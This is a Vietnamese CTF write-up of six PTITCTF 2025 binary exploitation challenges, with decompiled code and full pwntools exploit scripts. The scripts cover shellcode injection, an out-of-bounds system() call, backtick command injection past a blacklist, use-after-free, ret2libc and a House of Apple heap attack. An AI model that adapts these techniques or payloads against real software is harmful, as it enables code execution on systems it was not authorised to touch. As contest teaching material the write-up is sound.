---
# System prepended metadata

title: Writeup PTITCTF 2025 - pwn
tags: [writeup]

---

- Tổng số điểm team ZeroTrace đã đạt được:
![Screenshot 2025-08-26 130505](https://hackmd.io/_uploads/BkdSI05Kex.png)
- Writeup lần này mình sẽ viết theo các bài từ dễ đến khó, không theo thứ tự đề bài.
- Link chall: [PTITCTF 2025 - pwn](https://github.com/nhh9905/CTF/tree/main/PTITCTF%202025)
# pwn2
![image](https://hackmd.io/_uploads/By1VPl9Yxl.png)
## Pseudo code
![image](https://hackmd.io/_uploads/ByOvLlcFel.png)
![image](https://hackmd.io/_uploads/ryvAIxqYxl.png)
## Exploit
- Kĩ thuật: ret2shellcode
- Chúng ta có thể thấy rằng s được cấp phát trong 1 phân vùng với kích thước 0x32 bytes và full quyền rwx.
- Tiếp đến nhập dữ liệu vào s và buffer. Ý tưởng sẽ là nhập shellcode vào s và trong buffer, ta sẽ nhập tràn xuống `a = 0xdeadbeef` để thực thi shellcode.
- Tuy nhiên, shellcode đã được mã hóa khi xor chính nó (`s[i]`) với `buffer[i % strlen(buffer)]`. Do đó trước khi nhập shellcode vào `s` thì ta sẽ xor từng byte của nó với byte rác ta đã nhập trong buffer.
- Đây là shellcode ta nhập:
![image](https://hackmd.io/_uploads/BJ7PKlqYgg.png)
- Sau khi thực hiện xong vòng for mã hóa xor, ta thực thi shellcode:
![image](https://hackmd.io/_uploads/SytqYg5Ygl.png)
![image](https://hackmd.io/_uploads/H1vitlqtgl.png)
- Thành công lấy được shell LOCAL:
![image](https://hackmd.io/_uploads/BJDpFx5Kxx.png)
## Script
```python=
#!/usr/bin/env python3

from pwn import *

# ENV
PORT = 13333
HOST = "103.197.184.48"
exe = context.binary = ELF('./pwn2', checksec=False)
# libc = ELF('./libc.so.6', checksec=False)
# ld = ELF('', checksec=False)

def GDB():
    if not args.r:
        gdb.attach(p, gdbscript='''
        	b* 0x00000000004014BE
        	b* 0x0000000000401416
            c
            set follow-fork-mode parent
            ''')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    p = remote(HOST, PORT)
else:
    p = exe.process()

# VARIABLE

# PAYLOAD
shellcode = asm('''
	mov rdi, 29400045130965551
	push rdi
	mov rdi, rsp
	mov rax, 0x3b
	xor rsi, rsi
	xor rdx, rdx
	syscall
	''', arch='amd64')
print(len(shellcode))

shellcode = bytearray(shellcode)
for i in range(len(shellcode)):
	shellcode[i] ^= 0x61

p.sendlineafter(b'name: ', shellcode)

payload = flat(
	b'a'*0x34,
	0xdeadbeef
	)
p.sendlineafter(b'birthday: ', payload)
p.sendline(b'cat flag.txt')

p.interactive()
```
## Flag
`PTITCTF{ShElLcOdE_iS_ThE_cOrE_oF_a_PaYlOaD_4495749}`
# pwn3
![image](https://hackmd.io/_uploads/SyvHqxcFex.png)
## Pseudo code
![image](https://hackmd.io/_uploads/By-ccl9Kex.png)
## Exploit
- Có thể thấy rằng v4 được khai báo là int và không check số âm nên dễ dàng thấy được đây là bug out-of-bound.
![Screenshot 2025-08-25 220514](https://hackmd.io/_uploads/B1isslcFxg.png)
- Trong bài này mình sẽ thực thi lấy shell trên server, không thực hiện các lệnh có sẵn được lưu trong `lib`.
- Mục tiêu của mình là `system(lib[0])`, trong code có ghi `system(*((const char **)&lib + v4 + 4));`, do đó v4 = -4.
- Vì trên lib không có `/bin/sh` nên ta phải nhập vào.
![image](https://hackmd.io/_uploads/ryqTng5Flg.png)
![image](https://hackmd.io/_uploads/rkSAhecFgx.png)
> Lưu ý: khi thực hiện system thì tham số thứ nhất (rdi) phải là địa chỉ trỏ tới /bin/sh.
- Thành công lấy shell LOCAL:
![image](https://hackmd.io/_uploads/H1IfTg5tgx.png)
## Script
```python=
#!/usr/bin/env python3

from pwn import *

# ENV
PORT = 13335
HOST = "103.197.184.48"
exe = context.binary = ELF('./pwn3', checksec=False)
# libc = ELF('./libc.so.6', checksec=False)
# ld = ELF('', checksec=False)

def GDB():
    if not args.r:
        gdb.attach(p, gdbscript='''
            b* 0x000000000040147e
            c
            set follow-fork-mode parent
            ''')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    p = remote(HOST, PORT)
else:
    p = exe.process()

# VARIABLE

# PAYLOAD
p.sendafter(b'(32 bytes): ', p64(0x4040a8) + b'/bin/sh\0')
p.sendlineafter(b'(0-7, 9=exit): ', str(-4))

p.interactive()
```
## Flag
`PTITCTF{aN_oUt-oF-BoUnDs_ReAd/wRiTe_iS_vErY_DaNgErOuS}
`
# pwn4
![image](https://hackmd.io/_uploads/BJA3pxqKge.png)
## Pseudo code
- Restruct lại code cho dễ đọc. Trong bài này chúng ta chỉ quan tâm 2 hàm chính là `add_wifi()` và `connect_wifi()`.
- `main()`:
```C=
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init_io();
  while ( 1 )
  {
    puts("[+] ==== Wi-Fi Center ==== [+]");
    puts("1) Add new Wi-Fi profile");
    puts("2) Delete Wi-Fi profile");
    puts("3) Connect to Wi-Fi");
    puts("4) List saved Wi-Fi profiles");
    puts("5) Exit!!!!");
    printf("Choice > ");
    fflush(stdout);
    if ( !fgets(s, 32, stdin) )
      return 0;
    switch ( atoi(s) )
    {
      case 1:
        add_wifi();
        goto LABEL_11;
      case 2:
        delete_wifi();
        goto LABEL_11;
      case 3:
        connect_wifi();
        goto LABEL_11;
      case 4:
        list_wifi();
        goto LABEL_11;
      case 5:
        return 0;
      default:
        puts("Invalid choice!");
LABEL_11:
        puts(&byte_267F);
        break;
    }
  }
}
```
- `add_wifi()`:
```C=
unsigned __int64 add_wifi()
{
  int idx; // [rsp+8h] [rbp-118h]
  int i; // [rsp+Ch] [rbp-114h]
  char ssid[128]; // [rsp+10h] [rbp-110h] BYREF
  char password[136]; // [rsp+90h] [rbp-90h] BYREF
  unsigned __int64 v5; // [rsp+118h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("SSID: ");
  fflush(stdout);
  if ( fgets(ssid, 128, stdin) )
  {
    chomp(ssid);
    if ( (unsigned int)has_forbidden_strict(ssid) )
    {
      puts("[-] SSID contains forbidden characters.");
    }
    else
    {
      printf("Password: ");
      fflush(stdout);
      if ( fgets(password, 128, stdin) )
      {
        chomp(password);
        if ( (unsigned int)has_forbidden_strict(password) )
        {
          puts("[-] Password contains forbidden characters.");
        }
        else
        {
          idx = -1;
          for ( i = 0; i <= 15; ++i )
          {
            if ( !db.entries[i].flag1 )
            {
              idx = i;
              break;
            }
          }
          if ( idx >= 0 )
          {
            strncpy(db.entries[idx].ssid, ssid, 0x7Fu);
            strncpy(db.entries[idx].password, password, 0x7Fu);
            db.entries[idx].ssid[127] = 0;
            db.entries[idx].password[127] = 0;
            db.entries[idx].flag1 = 1;
            printf("[+] Saved wifi profile at index %d\n", idx);
          }
          else
          {
            puts("[-] Database Wifi profiles full.");
          }
        }
      }
    }
  }
  return __readfsqword(0x28u) ^ v5;
}
```
- `has_forbidden_strict()`:
```C=
__int64 __fastcall has_forbidden_strict(const char *a1)
{
  __int64 result; // rax
  char v2; // [rsp+13h] [rbp-6Dh]
  int i; // [rsp+14h] [rbp-6Ch]
  const char *v4; // [rsp+18h] [rbp-68h]
  char *needle[12]; // [rsp+20h] [rbp-60h]

  needle[11] = (char *)__readfsqword(0x28u);
  if ( !a1 || !*a1 )
    return 1;
  if ( *a1 == '-' )
    return 1;
  needle[0] = "&&";
  needle[1] = "||";
  needle[2] = "|&";
  needle[3] = "<<";
  needle[4] = ">>";
  needle[5] = "<<<";
  needle[6] = "$(";
  needle[7] = "<(";
  needle[8] = ">(";
  needle[9] = 0;
  for ( i = 0; needle[i]; ++i )
  {
    if ( strstr(a1, needle[i]) )
      return 1;
  }
  v4 = a1;
  while ( 2 )
  {
    if ( !*v4 )
      return 0;
    v2 = *v4;
    if ( *v4 <= 0x1Fu || v2 == 127 )
      return 1;
    switch ( v2 )
    {
      case '!':
      case '"':
      case '#':
      case '$':
      case '&':
      case '\'':
      case '(':
      case ')':
      case '*':
      case ';':
      case '<':
      case '>':
      case '?':
      case '[':
      case '\\':
      case ']':
      case '{':
      case '|':
      case '}':
      case '~':
        result = 1;
        break;
      default:
        ++v4;
        continue;
    }
    break;
  }
  return result;
}
```
- `connect_wifi()`:
```C=
unsigned __int64 connect_wifi()
{
  int i; // [rsp+0h] [rbp-240h]
  unsigned int v2; // [rsp+4h] [rbp-23Ch]
  char s1[8]; // [rsp+8h] [rbp-238h] BYREF
  char s[32]; // [rsp+10h] [rbp-230h] BYREF
  char command[520]; // [rsp+30h] [rbp-210h] BYREF
  unsigned __int64 v6; // [rsp+238h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("Index to connect: ");
  fflush(stdout);
  if ( fgets(s, 32, stdin) )
  {
    v2 = atoi(s);
    if ( v2 < 0x10 && db.entries[v2].flag1 )
    {
      puts("[+] Connecting to Wi-Fi...");
      printf("Do you want show ifconfig (yes/no) ?: ");
      fflush(stdout);
      *(_QWORD *)s1 = 0;
      if ( fgets(s1, 8, stdin) )
      {
        chomp(s1);
        for ( i = 0; s1[i]; ++i )
          s1[i] = tolower((unsigned __int8)s1[i]);
        if ( !strcmp(s1, "yes") )
        {
          snprintf(
            command,
            0x200u,
            "ifconfig; echo nmcli device wifi connect %s password %s",
            db.entries[v2].ssid,
            db.entries[v2].password);
          if ( !strncmp(command, "ifconfig", 8u) )
            system(command);
          else
            puts("Something is wrong!");
        }
        else
        {
          printf("Connected to %s\n", db.entries[v2].ssid);
        }
      }
    }
    else
    {
      puts("[-] Invalid index OR Wi-Fi profile not in use.");
    }
  }
  return __readfsqword(0x28u) ^ v6;
}
```
## Exploit
- Có thể thấy rằng trong hàm `connect()` có lệnh `system(command)`. Đây là mục tiêu mà chúng ta nhắm tới. Tuy nhiên hãy sơ lược 1 chút về hàm `has_forbidden_strict()`, ta thấy rằng nếu phát hiện được các kí tự đặc biệt như &&, ||, |&... thì chương trình sẽ không lưu dữ liệu vào `db`.
- Nhưng vẫn còn 1 kí tự ta vẫn có thể tận dụng được là `, do đó ta sẽ khai thác triệt để kí tự này.
- Hãy thử những lệnh này trên Linux để hiểu rõ hơn:
```linux=
echo `whoami`
echo `ls`
```
![image](https://hackmd.io/_uploads/r1ayIb5Yee.png)
> Lý do không dùng được ``` `/bin/sh` ```:
> `/bin/sh` là một chương trình interactive: nó không in gì ra stdout, nó chỉ mở shell.
> Sau khi thoát ra, outer shell sẽ lấy output (rỗng) rồi cố chạy → kết quả là chẳng có lệnh nào.
> Vì thế ta đã thực sự đã vào `/bin/sh` rồi khi gõ ``` `/bin/sh` ```, chỉ là khi thoát ra thì thấy lỗi vì không có output để chạy tiếp.
- Ta có thể thấy rằng shell lấy output từ bên trong dấu nháy và in ra bởi echo. Trong hàm `connect_wifi()`, chuỗi `ifconfig; echo nmcli device wifi connect %s password %s` được đưa vào `command`, do đó ta sẽ list các file trên server rồi mới in ra file flag thật.
![image](https://hackmd.io/_uploads/BkZpU-qtxx.png)
![image](https://hackmd.io/_uploads/H130LZqYlg.png)
> Đây là mình thực hiện trên LOCAL nên ko có flag thật.
## Script
```python=
#!/usr/bin/env python3

from pwn import *

# ENV
PORT = 13337
HOST = "103.197.184.48"
exe = context.binary = ELF('./pwn4', checksec=False)
# libc = ELF('./libc.so.6', checksec=False)
# ld = ELF('', checksec=False)

def GDB():
    if not args.r:
        gdb.attach(p, gdbscript='''
        	brva 0x00000000000016B6
        	brva 0x000000000000193B
        	brva 0x0000000000001C21
        	brva 0x0000000000001C4F
            c
            set follow-fork-mode parent
            ''')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    p = remote(HOST, PORT)
else:
    p = exe.process()

def add_wifi(ssid, password):
	p.sendlineafter(b'> ', str(1))
	p.sendlineafter(b'SSID: ', ssid)
	p.sendlineafter(b'Password: ', password)

def delete_wifi(idx):
	p.sendlineafter(b'> ', str(2))
	p.sendlineafter(b'delete: ', str(idx))

def connect_wifi(idx):
	p.sendlineafter(b'> ', str(3))
	p.sendlineafter(b'connect: ', str(idx))
	p.sendlineafter(b'(yes/no) ?: ', b'yes')

# VARIABLE

# PAYLOAD
# add_wifi(b'abcdxyz', b"123456`exec /bin/sh`")
add_wifi(b'abcdxyz', b"123456`cat hidden_wifi.txt`")
# GDB()
connect_wifi(0)

p.interactive()
```
## Flag
`PTITCTF{dOn't_fOcUs_OnLy_oN_tHe_WIFI_24263029}`
# pwn1
![image](https://hackmd.io/_uploads/HkSo_-5Fll.png)
## Pseudo code
- FightFairy():
```C=
unsigned int __cdecl FightFairy(int choice)
{
  char cnt; // al
  int v3; // [esp+1Ch] [ebp-1Ch]
  player *player; // [esp+20h] [ebp-18h]
  monster *monster; // [esp+24h] [ebp-14h]
  void *v6; // [esp+28h] [ebp-10h]
  unsigned int v7; // [esp+2Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  player = (player *)malloc(0x10u);
  monster = (monster *)malloc(0x10u);
  cnt = Count++;
  if ( (cnt & 1) != 0 )
  {
    monster->check = 1;
    monster->hp = 80;
    monster->hp_heal = 4;
    monster->damage = 10;
    monster->func = (char *)PrintMonsterInfo;
    puts("Vo Luong Tien Ong Has Appeared!");
  }
  else
  {
    monster->check = 0;
    monster->hp = 50;
    monster->hp_heal = 5;
    monster->damage = 30;
    monster->func = (char *)PrintMonsterInfo;
    puts("Tien Dong Has Appeared!");
  }
  if ( choice == 1 )
  {
    player->check = 1;
    player->hp = 42;
    player->mana = 50;
    player->func = (char *)PrintPlayerInfo;
    v3 = NgaoBinhAttack(player, monster);
  }
  else if ( choice == 2 )
  {
    player->check = 2;
    player->hp = 50;
    player->mana = 0;
    player->func = (char *)PrintPlayerInfo;
    v3 = NeZhaAttack(player, monster);
  }
  if ( v3 )
  {
    puts("Well Done Hero! You Killed The Fairy!");
    puts("The World Will Remember You As:");
    v6 = malloc(0x10u);
    __isoc99_scanf("%16s", v6);
    puts("And The Fairy You Have Defeated Was Called:");
    ((void (__cdecl *)(monster *))monster->func)(monster);
  }
  else
  {
    puts("\nYou Have Been Defeated!");
  }
  free(player);
  return __readgsdword(0x14u) ^ v7;
}
```
- NgaoBinhAttack():
```C=
int __cdecl NgaoBinhAttack(player *player, monster *monster)
{
  int Choice; // [esp+18h] [ebp-10h]

  do
  {
    ((void (__cdecl *)(monster *))monster->func)(monster);
    ((void (__cdecl *)(player *))player->func)(player);
    Choice = GetChoice();
    if ( Choice == 3 )
    {
      if ( player->mana > 24 )
      {
        puts("HolyShield! You Are Temporarily Invincible...");
        printf("But The Fairy Heals %d HP!\n", monster->hp_heal);
        monster->hp += monster->hp_heal;
        player->mana -= 25;
        goto LABEL_11;
      }
LABEL_10:
      puts("Not Enough MP!");
      goto LABEL_11;
    }
    if ( Choice > 3 )
      goto LABEL_11;
    if ( Choice == 1 )
    {
      if ( player->mana > 9 )
      {
        printf("Holy Bolt Deals %d Damage To The Fairy!\n", 20);
        monster->hp -= 20;
        player->mana -= 10;
        printf("But The Fairy Deals %d Damage To You!\n", monster->damage);
        player->hp -= monster->damage;
        printf("And The Fairy Heals %d HP!\n", monster->hp_heal);
        monster->hp += monster->hp_heal;
        goto LABEL_11;
      }
      goto LABEL_10;
    }
    if ( Choice == 2 )
    {
      puts("Clarity! Your Mana Has Been Refreshed");
      player->mana = 50;
      printf("But The Fairy Deals %d Damage To You!\n", monster->damage);
      player->hp -= monster->damage;
      printf("And The Fairy Heals %d HP!\n", monster->hp_heal);
      monster->hp += monster->hp_heal;
    }
LABEL_11:
    if ( player->hp <= 0 )
    {
      free(monster);
      return 0;
    }
  }
  while ( monster->hp > 0 );
  free(monster);
  return 1;
}
```
- NeZhaAttack():
```C=
int __cdecl NeZhaAttack(player *player, monster *monster)
{
  int Choice; // [esp+18h] [ebp-10h]

  do
  {
    ((void (__cdecl *)(monster *))monster->func)(monster);
    ((void (__cdecl *)(player *))player->func)(player);
    Choice = GetChoice();
    if ( Choice == 1 )
    {
      printf("Crash Deals %d Damage To The Fairy!\n", 20);
      monster->hp -= 20;
      printf("But The Fairy Deals %d Damage To You!\n", monster->damage);
      player->hp -= monster->damage;
      printf("And The Fairy Heals %d HP!\n", monster->hp_heal);
      monster->hp += monster->hp_heal;
    }
    else if ( Choice == 2 )
    {
      printf("Frenzy Deals %d Damage To The Fairy!\n", 40);
      monster->hp -= 40;
      puts("But You Also Lose 20 HP...");
      player->hp -= 20;
      printf("And The Fairy Deals %d Damage To You!\n", monster->damage);
      player->hp -= monster->damage;
      printf("Plus The Fairy Heals %d HP!\n", monster->hp_heal);
      monster->hp += monster->hp_heal;
    }
    if ( player->hp <= 0 )
    {
      free(monster);
      return 0;
    }
  }
  while ( monster->hp > 0 );
  free(monster);
  return 1;
}
```
- SecretLevel():
```C=
unsigned int SecretLevel()
{
  char s1[10]; // [esp+2h] [ebp-16h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Welcome to Secret Level!\nInput Password : ");
  __isoc99_scanf("%10s", s1);
  if ( strcmp(s1, "Nice_Try_But_The_TienOng_Won't_Let_You!") )
  {
    puts("Wrong!\n");
    exit(-1);
  }
  system("/bin/sh");
  return __readgsdword(0x14u) ^ v2;
}
```
## Exploit
- Chúng ta có thể thấy rằng `SecretLevel()` không thể lấy shell trực tiếp do chỉ được nhập chuỗi 10 bytes.
- Bug: Use-After-Free (UAF)
- Hàm `system('/bin/sh')` là mục tiêu chúng ta ngắm tới, tuy nhiên không thể nhập data để bypass hàm `strcmp` được. Do đó chúng ta phải tận dụng lỗi UAF để malloc lại chunk monster và ghi đè `PrintMonsterInfo` thành `SecretLevel + x`.
- Để tận dụng lỗi UAF thì v3 = 1 với mục đích `free(monster)`, muốn v3 = 1 thì `monster->hp <= 0` để thoát vòng while.
```C=
while ( monster->hp > 0 );
```
> Vậy làm thế nào để để đánh bại được quái vật trong khi nếu monster->hp dương thì tiếp tục còn âm thì return 0?
> Câu trả lời nằm ở đây:
> ![image](https://hackmd.io/_uploads/HkoTZGqKxg.png)
Thanh ghi al chứa tối đa 1 byte tương đương kiểu dữ liệu char trong C, do đó ta chỉ cần monster->hp = 128 thì al = 0xffffffff (-1).
-> Bug: Integer Overflow

- Chúng ta sẽ chơi game như sau:
    - Lượt 1: player thua để Count = 1.
    - Lượt 2: player giằng co với monster liên tục cho đến khi `monster->hp = 128` -> tràn số và `free(monster)` đồng thời v3 = 1. Lưu ý trong suốt quá trình chơi `player->hp > 0`.
    - v3 = 1 -> `malloc(monster)` và ghi đè vào `monster->func`.
- Thành công lấy shell LOCAL:
![image](https://hackmd.io/_uploads/B1F0Lz9txg.png)
![image](https://hackmd.io/_uploads/ByV1DGqYee.png)
![image](https://hackmd.io/_uploads/HkBbDM5txl.png)
## Script
```python=
#!/usr/bin/env python3

from pwn import *

# ENV
PORT = 13331
HOST = "103.197.184.48"
exe = context.binary = ELF('./pwn1', checksec=False)
# libc = ELF('./libc.so.6', checksec=False)
# ld = ELF('', checksec=False)

def GDB():
    if not args.r:
        gdb.attach(p, gdbscript='''
            b* 0x0804957F
            b* 0x080495C3

            b* 0x0804980F
            b* 0x08049895
            b* 0x08049776
            b* 0x080497A7
            b* 0x080496C7
            b* 0x08049BF8
            c
            set follow-fork-mode parent
            ''')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    p = remote(HOST, PORT)
else:
    p = exe.process()


# VARIABLE
sys_addr = 0x08049CB8

# PAYLOAD
p.sendlineafter(b'\n', str(2))
p.sendlineafter(b'\n', str(1))
p.sendlineafter(b'\n', str(1))

p.sendlineafter(b'\n', str(1))

for i in range(3):
    p.sendlineafter(b'\n', str(3))
    p.sendlineafter(b'\n', str(3))
    p.sendlineafter(b'\n', str(2))

p.sendlineafter(b'\n', str(3))
p.sendlineafter(b'\n', str(3))
p.sendlineafter(b'\n', str(2))

# GDB()
p.sendlineafter(b'As:\n', p64(sys_addr))

p.interactive()
```
## Flag
`PTITCTF{iT'S_A_gReAt_mOvIe,_rIgHt?=[-]_149169...}`
# pwn6
![image](https://hackmd.io/_uploads/HJ9nwz5Kgg.png)
## Pseudo code
- Vì code khá dài nên mình sẽ không viết vào trong này, thay vào đó mình sẽ note lại 1 số chỗ có thể khai thác.
- Đọc qua 1 lượt source code thì không thấy hàm system đâu, để ý đoạn code sau trong hàm `song_name()` (option 1):
```C=
printf("The album should be pre-ordered. Tell us how many you want, we will contact you soon: ");
__isoc99_scanf("%d", &num);
getchar();
printf("Tell us your e-mail: ");
fread(email, 1u, num, stdin);
puts(byte_5060);
printf("\x1B[1;33m");
puts("[YOUR DATA] Please validate before continuing: ");
printf("\x1B[0m");
puts(email);
```
- Đây là chỗ khai thác cũng như leak dữ liệu của chúng ta kết hợp với việc đề bài cho các file docker.
-> Kĩ thuật: ret2libc
## Build docker
- Xem port trong file docker:
![image](https://hackmd.io/_uploads/ByzbO65Fex.png)
- Sử dụng các câu lệnh sau:
```linux=
sudo docker compose up --build
nc localhost 13330
ps aux | grep pwn6
cat /proc/<PID>/maps
sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/libc-2.31.so .
sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/ld-2.31.so .
```
![image](https://hackmd.io/_uploads/ryGIuaqKlx.png)
![image](https://hackmd.io/_uploads/SJV1FT5Yll.png)
![image](https://hackmd.io/_uploads/SkDgt69txx.png)
![image](https://hackmd.io/_uploads/Bku-tacYgl.png)
-> Thành công lấy được libc.
## Exploit
### Leak libc
- Debug tại hàm `fread(email)`:
![image](https://hackmd.io/_uploads/H1pX569Yxe.png)
![image](https://hackmd.io/_uploads/BkFHcTctge.png)
- Mục tiêu của chúng ta là leak giá trị `0x77512490ee93 (_IO_file_overflow+275)`, do đó chúng ta sẽ nhập 8 bytes rác để fill, sau đó puts(email) sẽ leak ra libc.
> Lưu ý: trong hàm `fread()`, chúng ta khai báo bao nhiêu phải nhập đủ bấy nhiêu, do đó chúng ta khai báo 8 bytes và nhập đủ 8 bytes.

- Thành công tính được libc_base:
![Screenshot 2025-08-26 125112](https://hackmd.io/_uploads/BJM8sT9Fgl.png)
### Get shell
- Tiếp tục tận dụng hàm `song_name()`, lần này ta phải xem nên khai báo bao nhiêu byte để lấy được shell:
![image](https://hackmd.io/_uploads/HyGGhp5tge.png)
- 0x78 bytes, trong đó có 0x58 bytes rác và 0x20 bytes để tấn công.
- 0x20 bytes tấn công để đưa tham số thứ nhất (/bin/sh) vào rdi và `system()` để lấy shell.
![image](https://hackmd.io/_uploads/SkBU2acYlg.png)
- Thành công lấy được shell LOCAL:
![image](https://hackmd.io/_uploads/rkEdhaqFxg.png)
- Script:
```python=
#!/usr/bin/env python3

from pwn import *

# ENV
PORT = 13330
HOST = "103.197.184.48"
exe = context.binary = ELF('./pwn6_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-2.31.so', checksec=False)

def GDB():
    if not args.r:
        gdb.attach(p, gdbscript='''
        	brva 0x000000000000194A
        	brva 0x0000000000001979
        	brva 0x0000000000001AC4
            c
            set follow-fork-mode parent
            ''')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    p = remote(HOST, PORT)
else:
    p = exe.process()

# VARIABLE

# PAYLOAD
p.sendlineafter(b'>> ', str(1))
p.sendlineafter(b'Slot [1-5]: ', str(6))
p.sendlineafter(b'Count: ', str(-1))
p.sendlineafter(b'[y/n]: ', b'y')
p.sendlineafter(b'soon: ', str(8))
payload = b'a'*8
p.sendafter(b'e-mail: ', payload)

p.recvuntil(b'a'*8)
libc_leak = u64(p.recv(6) + b'\0'*2)
libc.address = libc_leak - libc.sym._IO_file_overflow - 275
log.info("Libc base: " + hex(libc.address))

p.sendlineafter(b'[y/n]: ', b'y')

p.sendlineafter(b'>> ', str(1))
p.sendlineafter(b'Slot [1-5]: ', str(6))
p.sendlineafter(b'Count: ', str(-1))
p.sendlineafter(b'[y/n]: ', b'y')
# GDB()
p.sendlineafter(b'soon: ', str(0x78))

pop_rdi = 0x0000000000023b6a + libc.address
ret = 0x0000000000022679 + libc.address
payload = flat(
	b'a'*0x58,
	pop_rdi,
	next(libc.search(b'/bin/sh')),
	ret,
	libc.sym.system
	)
p.sendafter(b'e-mail: ', payload)
p.sendlineafter(b'[y/n]: ', b'y')

p.interactive()
```
## Flag
`PTITCTF{nOw_yOu_CaN_ReLaX_fOr_a_bIt,_AnD_ReMeMbEr:_tHiS_iS_oNlY_ThE_BeGiNnInG...}`
## Nhận xét
- Mặc dù đây là 1 bài ret2libc khá cơ bản nhưng vẫn được gắn tag `hard` và có ít team làm được, theo nhận định của mình thì các bạn chưa học các kiến thức về docker nên cảm thấy khá là khó khăn, từ đó việc khai thác đi vào ngõ cụt
-> Các bạn nên tìm hiểu về docker để việc khai thác trở nên thuận tiện.
# pwn5
![image](https://hackmd.io/_uploads/ryuD6T9tex.png)
- Đây là 1 bài khó nhất trong tổng số 6 bài và bài này mình chưa khai thác được. Sau khi tham khảo từ người bạn của mình thì kĩ thuật khai thác là: House of Kiwi & House of Apple.
- Cách 2: Trigger exit
- Link tham khảo: https://ctftime.org/writeup/35597

## Script
- Exploit in 13/12/2025:
```python=
#!/usr/bin/env python3

from pwn import *

# ENV
PORT = 13339
HOST = "localhost"
exe = context.binary = ELF('./pwn5_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)

def GDB():
    if not args.r:
        gdb.attach(p, gdbscript='''
            source /home/nhh/pwndbg/gdbinit.py
            # add
            brva 0x00000000000013F1
            brva 0x000000000000153D
            b* _IO_wfile_overflow

            # show
            brva 0x00000000000015FC
            c
            set follow-fork-mode parent
            ''')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    p = remote(HOST, PORT)
else:
    p = exe.process()

def add(idx, size, data = b'abcd'):
	p.sendlineafter(b'>> ', str(1))
	p.sendlineafter(b'number : ', str(idx))
	p.sendlineafter(b'(bytes) : ', str(size))
	p.sendafter(b'information : ', data)

def show(idx):
	p.sendlineafter(b'>> ', str(2))
	p.sendlineafter(b'number : ', str(idx))

def free(idx):
	p.sendlineafter(b'>> ', str(3))
	p.sendlineafter(b'number : ', str(idx))

# VARIABLE


# PAYLOAD
add(0, 0x420)
add(1, 0x420)
add(2, 0x100)
free(1)
free(0)
show(0)
p.recvuntil(b'[0]:\n')
libc_leak = u64(p.recv(6) + b'\0'*2)
libc.address = libc_leak - 0x21ace0
log.info("Libc base: " + hex(libc.address))

free(2)
show(2)
p.recvuntil(b'[2]:\n')
heap_leak = u64(p.recv(5) + b'\0'*3)
heap_base = heap_leak << 12
log.info("Heap base: " + hex(heap_base))
stdout = libc.sym._IO_2_1_stdout_
io_wfile_jumps = libc.sym._IO_wfile_jumps
system = libc.sym.system

target = stdout ^ ((heap_base + 0x6d0) >> 12)
payload = flat(
	b'\0'*0x428, 0x111,
	target
	)
add(3, 0x500, payload)
free(1)
free(3)
add(3, 0x500, payload)
add(4, 0x100, p64(heap_base + 0x6d0 - 0x60) + p64(system))
payload = b'  /bin/sh'
payload = payload.ljust(0x88, b'\0') + p64(heap_base)
payload = payload.ljust(0xa0, b'\0') + p64(heap_base + 0x6d0 - 0xe0)
payload = payload.ljust(0xc0, b'\0') + p32(0xffffffff)
payload = payload.ljust(0xd8, b'\0') + p64(io_wfile_jumps - 0x20)
add(5, 0x100, payload)

p.interactive()
```